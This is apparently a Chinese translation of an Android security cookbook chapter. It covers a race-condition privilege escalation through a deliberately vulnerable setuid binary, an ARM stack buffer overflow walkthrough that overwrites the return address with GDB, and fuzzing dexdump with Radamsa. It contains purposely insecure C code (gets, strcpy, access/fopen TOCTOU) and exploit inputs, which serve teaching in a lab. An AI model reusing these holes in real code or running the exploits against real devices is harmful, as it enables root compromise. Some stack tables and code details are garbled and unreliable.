位于android.googlesource.com/platform/bionic/+/jb-mr0-release/libc/bionic/dlmalloc.c的 Android 官方 GitHub 仓库中的DLMalloc.c,Android 平台 Bionic jb-mr0-release
利用竞态条件漏洞的攻击行为。
竞态条件在 Android 平台上引起了很多问题和权限提升攻击;其中许多允许恶意攻击者获得 root 权限。
基本上,竞态条件是由多线程(允许多个进程同时运行的平台)系统在采用抢占式进程调度时缺乏强制互斥所引起的。抢占式调度允许任务调度器预先中断线程或正在运行的进程,这意味着不需要首先等待任务准备好被中断。这使得竞态条件成为可能,因为通常开发者没有使应用程序以能够适应来自进程调度器的任意和不可预测的中断的方式运行;结果是,依赖访问可能共享的资源(如文件、环境变量或共享内存中的数据结构)的进程总是在“竞速”,以获取这些资源的首次和独占访问权。攻击者通过首先获取这些资源并加以篡改,以这种方式滥用这种情况,从而可能导致进程操作受损或允许他们恶意影响进程的行为。一个简单的例子是,一个程序检查正在验证身份的用户是否在给定文件中的有效用户名列表中;如果此进程不能适应抢占式调度器,它可能只能在恶意用户通过将自己的用户名添加到列表中篡改文件之后访问该文件,从而允许他们被验证。
在本演练中,我将详细说明一些基本的竞态条件漏洞,并讨论其他潜在原因;我还将详细说明一些最基本的竞态条件漏洞的利用方法。演练最后会提供有关过去基于 Android 的竞态条件漏洞的参考资料和有用信息来源;其中大部分是在撰写本文那年报告的。
竞态条件漏洞的利用取决于几个因素,攻击者至少必须能够做到以下几点:
获取易受攻击进程正在争夺访问的资源: 如果一个进程没有对其外部资源实施互斥访问,但攻击者又无法访问这些相同资源,那么这种情况下的利用潜力并不大。如果不是这样,那么每个进程进行的每一次非互斥访问都将是可以被利用的。这包括每次进程在未经信号量或自旋锁检查的情况下取消对内存中指针的引用,这种情况可能发生数十亿次!
恶意影响这些资源: 如果进程在攻击无法增加或恶意修改资源的环境中不独占地访问其资源,那么这样做不会有太大帮助。例如,如果一个进程访问攻击者只能读取的共享内存或文件,除非这会导致易受攻击的进程崩溃,考虑到进程的语义优先级;例如,防病毒程序、入侵检测系统或防火墙。
使用时/检查时窗口大小 (TOU/TOC): 这本质上是应用程序检查资源访问权限和实际访问资源之间的时间差,或者更确切地说,是调度器中断的可能性。竞态条件的可利用性很大程度上取决于这个时间差,因为利用行为本质上是在这个时间框架内争夺访问权限,以恶意影响资源。
考虑到这些条件,让我们看看一些构建的竞态条件漏洞示例以及如何在 Android 上利用它们。
准备工作
在我们开始利用竞态条件之前,我们需要准备一个示例。以下是操作方法:
我们将准备一个嵌入式 ARM Android 平台——在此示例中为 Jelly Bean 模拟器——这可能会导致竞态条件漏洞。以下代码详细描述了一个易受攻击进程的行为:
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#define MAX_COMMANDSIZE 100
int main(int argc,char *argv[],char **envp){
char opt_buf[MAX_COMMANDSIZE];
char *args[2];
args[0] = opt_buf;
args[1] = NULL;
int opt_int;
const char *command_filename = \”/data/race-condition/commands.txt\”;
FILE *command_file;
printf(\”option: \”);
opt_int = atoi(gets(opt_buf));
printf(\”[*] option %d selected…\\n\”,opt_int);
if (access(command_filename,R_OK|F_OK) == 0){
printf(\”[*] access okay…\\n\”);
command_file = fopen(command_filename,\”r\”);
for (;opt_int>0;opt_int–){
fscanf(command_file,\”%s\”,opt_buf);
}
printf(\”[*] executing [%s]…\\n\”,opt_buf);
fclose(command_file);
}
else{
printf(\”[x] access not granted…\\n\”);
}
int ret = execve(args[0],&args,(char **)NULL);
if (ret != NULL){
perror(\”[x] execve\”);
}
return 0;
}
按照在交叉编译本地可执行文件一节中详细描述的相同过程编译此文件,并将其部署到您的安卓设备上。尝试将其部署到作为可执行文件和任何安卓系统用户可读的分区或文件夹中(如何操作请参考第一章,安卓开发工具中的复制文件到/从 AVD 中一节)。在本节中,我们使用作为/system的已挂载分区,该分区在其他菜谱中以读写权限重新挂载。请注意,这可能会导致 NDK 发出一些警告,但只要一切编译成可执行文件,就可以继续操作!
您还需要将commands.txt文件放在代码中提到的目录中,即/data/race-condition/command.txt。这需要在/data路径中创建一个竞争条件文件夹。关于如何做到这一点的良好示例可以在第四章,利用应用程序中的检查网络流量一节中找到,因为我们需要为TCPdump创建类似的设置。
您需要在安卓设备上为这个可执行文件设置setuid权限;您可以在将其部署到设备后执行以下命令来完成此操作:
chmod 4711 /system/bin/race-condition
这个命令还确保系统上的任何用户都有执行权限。请注意,您需要 root 权限才能执行此命令。我们正在模拟setuid二进制文件的效果以及它可能导致的任意代码执行。
我们已经为利用做好了一切设置;现在可以详细说明这种利用方法了。
如何操作…
要利用这个有漏洞的二进制文件,您需要执行以下操作:
运行 ADB shell 进入安卓设备;如果您使用的是模拟器或已获得 root 权限的设备,您应该可以使用su来获取另一个应用程序的访问权限。
尝试访问一些对您的用户没有设置执行、读取或写入权限的 root 拥有的文件夹和文件。这里我选择用户10170作为示例,当您尝试访问/cache/目录时,您应该会看到抛出的Permission denied消息:
让我们利用race-condition二进制文件。我们通过在commands.txt文件中添加另一个命令来实现,即/system/bin/sh,这将为我们打开一个 shell。您可以通过执行以下命令来完成此操作:
echo \”/system/bin/sh\” >> /data/race-condition/commands.txt
/system/bin/sh命令现在应该是commands.txt文件中的最后一个条目,这意味着,如果我们希望通过菜单选择它,需要选择选项 5。
在安卓设备上执行race-condition,并输入5作为选项。有漏洞的二进制文件将执行sh命令,并赋予您 root 权限。
通过尝试将目录更改为/cache来测试你的 root 访问权限。如果你运行的是 Jelly Bean 或更高版本的 Android,你不应该看到任何Permission denial消息,这意味着你刚刚将自己的权限提升到了 root!!如何操作…
前面的例子旨在详细说明竞态条件的基本概念,即当一个应用程序访问任何其他进程都可以修改的文件,并将其用于以 root 用户身份执行操作时。还有更复杂和微妙的情形会导致竞态条件,一个常见被利用的情况涉及到符号链接。这些漏洞源于应用程序无法区分文件和符号链接,这使得攻击者可以通过精心构造的符号链接来修改文件,或者当一个文件读取符号或硬链接但不能确定链接目标的真实性时,这意味着链接可以被恶意重定向。要了解关于竞态条件漏洞的更现代的例子,请查看另请参阅部分中的链接。
另请参阅
CVE-2013-1727 漏洞概述一文
CVE-2013-1731 漏洞概述一文
Justin Case撰写的Sprite Software Android 竞态条件文章
Prabhaker Mateti撰写的竞态条件利用文章
栈内存损坏利用
栈内存利用可能不是 Android 错误和安全漏洞的最常见来源,尽管这类内存损坏错误仍然有可能影响到即使拥有 ASLR、StackGuard 和 SE Linux 等保护措施的原生 Android 可执行文件。此外,大部分 Android 市场份额由那些对栈和其他基于内存的利用没有强有力保护的设备组成,尤其是 2.3.3 版本的 Gingerbread 设备。除了与安全研究的直接相关性之外,包括基于栈的利用讨论和演练的另一个重要原因是它为更高级的利用技术提供了很好的入口。
在本节中,我们将详细说明如何利用常见的基于栈的内存损坏漏洞来控制执行流程。
准备工作
在开始之前,你需要准备一个易受攻击的可执行文件;以下是操作方法:
创建一个包含通常的jni文件夹和与之前菜谱相同命名约定的目录。如果你需要回顾,请查看本章中的跨编译本地可执行文件的菜谱。
在jni文件夹中写这段代码到一个.c文件中:
#include <stdio.h>
#include <string.h>
void
vulnerable(char *src){
char dest[10]; //declare a stack based buffer
strcpy(dest,src); //always good not to do bounds checking
printf(\”[%s]\\n\”,dest); //print the result
return; }
int
main(int argc, char **argv){
vulnerable(argv[1]); //call vulnerable function
printf(\”you lose…\\n\”);
return (0); }
这个代码与之前的例子惊人地相似。实际上,你可以编辑之前的示例代码,因为它只在几行代码上有所不同。
使用之前的ndk-build脚本编译代码。
将代码部署到 Android 设备或模拟器上;在以下示例中,我使用了模拟的 Android 4.2.2 设备。
当你设置好代码后,可以继续将二进制文件推送到你的模拟器或设备上——如果你愿意接受挑战的话。
如何操作…
要利用基于栈的缓冲区溢出,你可以执行以下操作:
在你的模拟器上多次启动应用程序,每次都提供更大的输入,直到它无法正常退出执行,你的 Android 系统报告段错误。
尝试记住你给应用程序输入了多少个字符,因为你需要使用gdbserver给出相同的数量来触发崩溃。以下是可执行文件正常运行的截图:
你应该看到 GDB 输出exited normally,这表明进程的返回码相同,没有中断或强制它停止。
当输入过多时,应用程序会以段错误退出,这在 GDB 中看起来像这样:
在gdbserver中启动应用程序,提供一个“不安全”的输入量,即会导致崩溃的输入量。对于我们的代码,这应该是超过 14 到 16 个字符的任何输入。在这个例子中,我输入了大约 16 个字符,以确保我覆盖了正确的内存部分。
运行androideabi-gdb并连接到远程进程。如果你需要回顾如何进行这一步,请查看第六章中使用 GDB 服务器调试 Android 进程的菜谱,逆向工程应用。
使用 GDB 设置几个断点。在blx到strcpy之前设置一个断点,再在之后设置一个,如下截图所示:
提示
你可以使用break命令或简写为b来设置断点,并给出代码行的偏移量或指向持有指令的地址的指针;因此,在内存值前有*字符。
当你设置好断点后,通过gdbsever重新运行应用程序,并使用 Android GDB 重新连接。按照后面解释的内容,逐步执行每个断点。你需要在 GDB 提示符中输入continue,或者简写为c。GDB 将继续执行程序,直到达到断点。
你应该首先到达的是strcpy调用之前的断点;我们在这里设置一个断点,以便你可以看到strcpy调用前后堆栈的变化。理解这一点至关重要,这样你才能在开始覆盖返回地址之前计算出要给应用程序多少数据。以下屏幕截图显示了这一点:
这是vulnerable函数在调用strcpy之前堆栈的快照;除了为局部变量准备了一些空间外,还没有发生太多事情。一旦到达第一个断点,你应该通过打印一些内存内容来检查堆栈。
在以下示例中,通过在 GDB 中执行这个x命令来展示:
x/32xw $sp
这个命令告诉 GDB 打印出sp(堆栈指针)寄存器中包含的内存地址的 32 个十六进制字;以下是您应该看到的内容:
你会注意到有几个值被突出显示;这些值是由函数序言中的指令传递到堆栈的,该指令如下:
push {r0, r1, r2, r3, r4, lr}
提示
之前命令中使用的push指令确保了调用函数的寄存器值被保留。这条指令有助于确保当执行的函数将控制权返回给调用它的函数时,堆栈能恢复到原始状态。
push指令中使用的值之一是lr或链接寄存器。链接寄存器通常保存当前函数的返回地址。在这里,lr寄存器保存的值是0x000084f5。我们稍后会尝试用我们自己的值覆盖它;几分钟内,你应该能看到我们的输入是如何改变这个值的,所以暂时请记住它。
你想要这么做是因为在vulnerable函数中更下面的指令,具体如下:
pop {pc}
这条指令将保存的lr值直接移动到程序计数器寄存器中;这导致执行在保存在lr寄存器中的地址继续。如果我们能覆盖保存的lr值,我们实际上可以在vulnerable函数末尾控制执行分支的位置。下一步将介绍如何精确计算以及输入程序中的内容,以确保你如前所述控制执行。
继续到下一个断点。一旦 GDB 达到这个断点,strcpy应该已经将你的输入写入堆栈。此时检查堆栈应该得到以下输出:
你应该注意到 0x000084f5 的值变为了 0x00008400;它们非常相似,因为当 strcpy 将我们的输入写入缓冲区时,它部分地用跟随我们字符串的 NULL 字节覆盖了保存的 lr 值;这就是为什么 0xf5 被替换为 0x00。现在我们知道,我们的 16 个字符的输入覆盖了保存的返回地址的一个字节。这意味着要完全覆盖 2 字节的返回地址,我们需要添加 2 字节的输入——容纳 NULL 字节——最后 4 个字节是新的返回地址。以下是它的工作原理:
在 strcpy 调用之前,栈有以下结构:
无关紧要的栈内容输入缓冲区字段保存的 lr 值0xbee6fc750xbee6fb440xbee6fb50在使用 16 字节输入的 strcpy 调用之后,栈有以下结构:
无关紧要的栈内容输入缓冲区字段保存的 lr 值…0xbee6fc7516 个字符0x00000加粗的 0x00 值是我们输入的 NULL 字节;基于此,我们需要输入 16 个字符加上 2 个字符作为新的返回地址,如下所示:
无关紧要的栈内容输入缓冲区字段保存的 lr 值…0xbee6fc75[16 个字符]0x00000在这里,0x?? 字符表示我们给 strcpy 调用提供的额外输入字符,以覆盖返回地址;同样,我们在额外输入字符后看到了 0x00 字符。
使用给定的输入重新启动 GDB 服务器;尝试跳过 printf \”you lose\” 调用并检查它是否被执行——这是一种检查你是否成功重定向执行流程的简单方法。以下是你可以获取一个重定向执行流程的示例地址的方法。通过在 GDB shell 中执行以下命令来反汇编主部分:
disass main
这将产生以下输出:
0x000084ec <+0>: push {r3,lr}
0x000084ee <+2>: ldr r0,[r1, #4]
0x000084f0 <+4>: bl 0x84d0 <vulnerable>
0x000084f4 <+8>: ldr r0, [pc, #8]
0x000084f6 <+10>: add r0,pc
0x000084f8 <+12>: blx 0x83f8
0x000084fc <+16>: movs r0,#0
0x000084f3 <+18>: pop {r3,pc}
0x00008500 <+20>: andeq r1,r0,r2,asr,r5
在 0x000084f8 的 blx 指令显然是调用 printf 的,如果我们想跳过它,我们需要获取紧随其后的指令的地址,即 0x000084fc。更具体地说,我们将以下内容作为输入提供给我们的程序:
[16 个填充字符] \\xfc\\x84
由于架构的字节序,指定返回地址的字节是反序给出的。
使用 GDB 服务器重新启动应用程序,这次给它以下输入:
echo –e \”1234567890123456\\xfc\\x84\”`
如果一切顺利,你不应该看到应用程序打印 \”you lose\” 消息,而是直接退出。
你不仅仅可以跳过简单的print指令;在某些情况下,你甚至可以完全控制运行具有此类漏洞的程序的过程。有关如何执行此操作的信息,请参阅另请参阅部分中标题为《无返回的返回导向编程》的链接。关于一般内存破坏攻击的好资源,请参阅另请参阅部分中的《内存破坏攻击,(几乎)完整历史》以及《为了乐趣和利润而破坏堆栈》链接。
另请参阅
《ARM 利用简明指南》可以在www.exploit-db.com/wp-content/themes/exploit/docs/24493.pdf找到。
Aleph One撰写的《为了乐趣和利润而破坏堆栈》一文可以在www.phrack.org/issues.html?issue=49&id=14#article找到。
Haroon Meer撰写的《内存破坏攻击,(几乎)完整历史》指南,Thinkst Security 2010,可以在thinkst.com/stuff/bh10/BlackHat-USA-2010-Meer-History-of-Memory-Corruption-Attacks-wp.pdf找到。
由Stephen Checkoway、Lucas Davi、Alexandra Dmitrienko、Ahmad-Reza Sadeghi、Hovav Shacham和Marcel Winandy撰写的《无返回的返回导向编程》指南可以在cseweb.ucsd.edu/~hovav/dist/noret-ccs.pdf找到。
由Lucas Davi、Alexandra Dmitrienko、Ahmad-Reza Sadeghi和Marcel Winandy撰写的《ARM 上的无返回的返回导向编程》指南可以在www.informatik.tu-darmstadt.de/fileadmin/user_upload/Group_TRUST/PubsPDF/ROP-without-Returns-on-ARM.pdf找到。
自动化原生 Android 模糊测试
模糊测试是发现可利用漏洞或系统实用程序中错误的好方法。它允许审计员针对畸形和可能的恶意输入衡量文件处理程序和其他应用程序的有效性,并帮助确定系统上是否存在任何容易利用的入口点。它还是自动化安全测试的绝佳方式。
Android 与任何其他系统并无不同,它也有无数的有趣模糊测试目标。Android 设备的攻击面并不仅限于 Java 应用层;实际上,有时基于原生可执行文件或系统实用程序的不当输入处理或对某些情况的安全响应,才会出现 root 漏洞。模糊测试是发现这些情况和 Android 设备上可能的 root 漏洞的好方法。
我将在这里介绍如何将一个名为Radamsa的模糊测试生成器移植到 Android 平台,并安装一些将帮助你编写使用 Radamsa 的健壮模糊测试脚本的实用程序。
准备工作
在开始移植之前,你需要获取 Radamsa 模糊器的副本;以下是操作方法:
确保你的 Linux 机器上安装了CURL或Wget。Wget 可以正常工作,但按照 Radamsa 网站的建议,你可以通过执行以下命令来安装依赖项(仅限 Ubuntu 机器):
sudo apt-get install gcc curl
运行这个命令应该会产生类似于以下截图的输出:
下载完成后,你可以按照以下方式获取 Radamsa 源代码副本:
curl http://ouspg.googlecode.com/files/radamsa-0.3.tar.gz > radamsa-0.3.tar.gz
运行这个命令应该会产生类似于以下截图的输出:
然后,你应该通过执行以下命令来提取 Radamsa 源代码:
tar –zxvf radamsa-0.3.tar.gz
如果你正确执行了这个命令,你的输出应该类似于以下截图:
完成后,你的目录应该看起来像下面这样:
现在一切准备就绪;我们可以开始设置jni目录结构并编译 Radamsa 以用于 Android。
如何操作…
要为 Android 跨编译 Radamsa,你应该做以下操作:
在这个目录中解压 Radamsa 源代码后,你应该有一个名为radamsa-0.3的目录;你应该创建一个名为jni的目录,就像我们在跨编译本地可执行文件的菜谱中所做的那样。
制作一份用于缓冲区溢出食谱的Android.mk文件副本,并将其放入jni目录中;你的目录应该类似于以下截图:
将包含 Radamsa 源的radamsa.c文件复制到jni目录中,如下截图所示:
获取一份Android.mk文件并将其放入jni文件夹中。
复制你的Android.mk文件应该与以下截图中的演示类似:
编辑上一步复制的Android.mk文件,使其看起来像下面这样:
设置好Android.mk文件后,你可以执行ndk-build命令;你应该得到以下输出:
这意味着构建失败了。GCC 还向你展示了哪些代码行导致了错误。实际上,这是一个通过其余代码级联的问题,即typedef,它将一个无符号长整型别名为in_addr_t;在下一步中,我们将修复此问题以成功编译 Radamsa。
在你喜欢的代码编辑器中打开radamsa.c文件——最好是可以显示行号的。滚动到第3222行;如果你使用的是 vim 文本编辑器,你应该会看到以下代码:
在radamsa.c代码的3222行,将in_addr_t类型名称替换为无符号长整型。当你正确更改后,代码应该看起来像这样:
你还应该删除2686行的typedef命令;编辑行之前,它应该看起来像这样:
注释掉之后,它应该看起来像以下这样:
修改radamsa.c源代码以使 NDK GCC 编译器满意后,你可以运行ndk-build脚本。如果你一切都做对了,你的输出应该看起来像这样:
成功构建可执行文件后,你可以将其推送到 Android 模拟器,如下所示——假设你已经设置好了,并且你已经将系统分区重新挂载为可写:
推送 Radamsa 可执行文件后,你可以通过在 Android 模拟器上执行以下命令来测试它:
radamsa –-help
这应该生成以下输出:
你可以在一些测试输入上运行 Radamsa,以确保一切正常工作。例如,看看以下命令是如何运行 Radamsa 的,以确保一切正常并处于工作状态:
echo \”99 bottles of beer on the wall\” | radamsa
运行此命令应该会产生类似于以下截图的输出:
就这样!Radamsa 在 Android 上运行起来了。下一部分将讨论设置一个简单的模糊测试脚本并将其指向 dexdump,尝试生成一些崩溃,并希望找到一些可利用的漏洞。
如果你打算进行一些模糊测试,你最终需要进行一些 bash 脚本编写,以精确地定位 Radamsa 的目标,并自动报告引起有趣行为的输入数据。不幸的是,Android 平台并没有包含使 bash 脚本编写强大的所有工具;它们甚至没有 bash shell 应用程序,主要是因为它不是必需的。
我们可以使用sh壳来进行脚本编写,但 bash 功能更强大且更健壮,而且大多数人更习惯于 bash 脚本编写。因此,本食谱的下一部分将解释如何在 Android 平台上运行 Busybox。
设置 Busybox
要在 Android 上获取 Busybox 实用程序(一系列有用的终端应用程序的软件包),你需要执行以下操作:
从benno.id.au/Android/busybox获取 Android 端口的副本;在示例中,我们使用wget来执行此操作:
然后,你需要准备一个busybox目录在你的 Android 模拟器上——假设你已经设置好并准备好启动。
对于这个示例,busybox目录是在/data/文件夹中创建的;由于它是可写和可执行的,任何挂载有写、读和执行权限的分区的文件夹都应该工作得很好。
当你为 Busybox 创建了一个专用目录后,你可以使用以下命令将其推送到模拟器:
adb push [path to busybox] /data/busybox/.
你应该做类似于以下截图的操作:
当你将busybox二进制文件的一个副本推送到你的模拟器后,你可以通过在模拟器上执行以下命令来安装这些二进制文件:
/data/busybox –-install
以下是一个来自三星 Galaxy S3 智能手机的例子:
执行此命令后,你的busybox文件夹应该看起来像下面这样:
模糊测试 dexdump
现在你已经让测试用例生成器运行起来,并且安装了 Busybox 工具,你可以开始生成一些崩溃了!
在这个例子中,我们将看到如何设置一个简单的脚本来对 dexdump 进行一些“愚蠢”的模糊测试,dexdump 是一个剖析 Android DEX 文件并打印其内容的工具:
在开始之前,你需要一个 DEX 文件样本;你可以通过使用 Android SDK 编写一个示例“hello world”类型的程序来获得,或者直接获取前一章食谱中创建的Example.dex文件。如果你想生成这个文件,请参考第六章中的从 Java 编译到 DEX食谱,逆向工程应用。
创建一个目录来存放你生成输入测试用例文件的基准目录。这是在 Android 模拟器上,你的脚本将生成文件的文件夹。测试它们,如果它们导致任何崩溃,复制那些有趣的文件;/data/目录再次成为进行这项工作的好地方,不过模拟一个 SD 卡并将数据保存在那里也是不错的选择。
在你进行模糊测试的目录中——即在上一步创建的目录——创建一个包含以下代码的 bash 脚本:
#!/bin/bash
ROOT=$1
TARGET=dexdump
ITER=$2
for ((c=0;1;c++))
do
cat $ROOT | radamsa -m bf,br,sr -p bu > fuzz.dex
$TARGET -d fuzz.dex 2>&1 > /dev/null
RET_CODE=$?
echo \”[$c] {$RET_CODE} ($WINS)\”
test $RET_CODE -gt 127 && cp fuzz.dex win-dexdump_$ITER\”_\”$c.dex && WINS=`expr $WINS + 1`
done
通过在模拟器上执行以下命令来在 bash 中运行脚本:
/data/busybox/bash; /data/busybox/source [fuzz script name] [example.dex]
现在你可以开始进行模糊测试了!
工作原理…
在本食谱的如何操作…部分的第一部分,我们介绍了交叉编译一个名为 Radamsa 的流行的模糊测试生成器。我们所做的大部分工作在交叉编译本地可执行文件食谱中已有解释。当 NDK 构建脚本因为一个类型定义而无法编译 Radamsa 时,事情变得有趣;以下是它看起来像什么样子:
typedef unsigned long in_addr_t;
这导致构建脚本失败,因为 NDK 构建脚本使用的 GCC 编译器——特别是支持 ARM 应用程序二进制接口的编译器——未能识别类型定义的效果。
提示
当引用了由该语句定义的类型时,它会导致 GCC 停止并报告它基本上不知道in_addr_t是什么。这个问题通过替换in_addr_t别名提及的地方为完整的无符号长整型变量,并注释掉typedef语句,从而消除了对typedef的需求而得到解决。
一旦这个问题得到解决,Radamsa 就可以成功编译并被部署到 Android 设备上。
然后我们编写了一个临时的模糊测试脚本到目标 dexdump。为了确保你们在这个配方中确切了解自己在做什么,详细说明 bash 脚本的作用是很重要的。
前几条指令确保我们有一些有用的助记符来帮助我们引用传递给脚本的参数。这些指令——在#!/bin/bash指令之后出现——只是为一些变量名赋值。
赋值这些变量后,脚本进入一个for循环,有一个哨兵值——该值限制了for循环迭代的次数——除非被用户或操作系统明确停止,否则这将导致脚本无限迭代。
在for循环内部,我们看到以下这行代码:
cat $ROOT | radamsa -m bf,br,sr -p bu > fuzz.dex
这条指令只是获取由ROOT变量指向的文件,并将其提供给 Radamsa。然后 Radamsa 对文件应用一些随机变换。
对 DEX 文件进行请求的随机变换后,Radamsa 将输出重定向到一个名为fuzz.dex的文件,这是样本 DEX 文件的“模糊”版本。
然后,用模糊后的 DEX 文件作为参数调用 dexdump;以下是它的样子:
$TARGET -d fuzz.dex 2>&1 > /dev/null
所有输出都被重定向到/dev/null,因为我们可能不会对它感兴趣。这行代码还将来自STDIN(标准输出文件)的所有输出重定向到STDERR文件(标准错误输出文件)。这允许将程序生成的所有输出——那些可能会使屏幕混乱的内容——重定向到/dev/null。
下一条指令如下所示:
RET_CODE=$?
这记录了最后一条命令的退出码;在这个例子中,它是dexdump。
脚本这样做是因为它将揭示关于dexdump如何退出的信息。如果dexdump正常退出执行,返回码将是0;如果由于输入损坏等原因导致dexdump异常退出或停止,退出码将非零。
更有趣的是,如果故障需要操作系统通过使用进程间信号来停止 dexdump,返回码将大于 127。这些返回码是我们感兴趣生成的,因为它们给出了由于给定的 dexdump 输入而暴露了相对严重缺陷的强烈指示。像段错误这样的错误,通常在使用内存的无效部分时以错误的方式发生,总是产生大于 127 的返回码。关于退出码或更准确地说退出状态如何工作的更多细节,请参见另请参阅部分中的使用 Shell – 理解退出码链接。
接下来,剩余的代码如下所示:
echo \”[$c] {$RET_CODE} ($WINS)\”
test $RET_CODE -gt 127 && cp fuzz.dex win-dexdump_$ITER\”_\”$c.dex && WINS=`expr $WINS + 1
这部分代码的第一条指令简单地帮助我们追踪脚本当前正在执行哪个迭代——通过打印 $c 值。它还会打印出前一次 dexdump 运行的返回码以及发生了多少次值得注意的停止。
在打印出提到的“状态指示器”之后,脚本将 RET_CODE 变量的值与 127 进行比较;如果这个值更大,它会复制导致此错误的样本输入,并将 WINS 变量增加 1 以反映生成了另一个值得注意的错误。
另请参阅
Linux 期刊中的“掌握 Shell – 理解退出码”
Radamsa 的 Google 代码
Blab 的 Google 代码
代码生成约定选项网页
使用 Radamsa 进行模糊测试及关于覆盖率的思考文件
#以上关于安卓安全秘籍(三)的相关内容来源网络仅供参考,相关信息请以官方公告为准!
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93857.html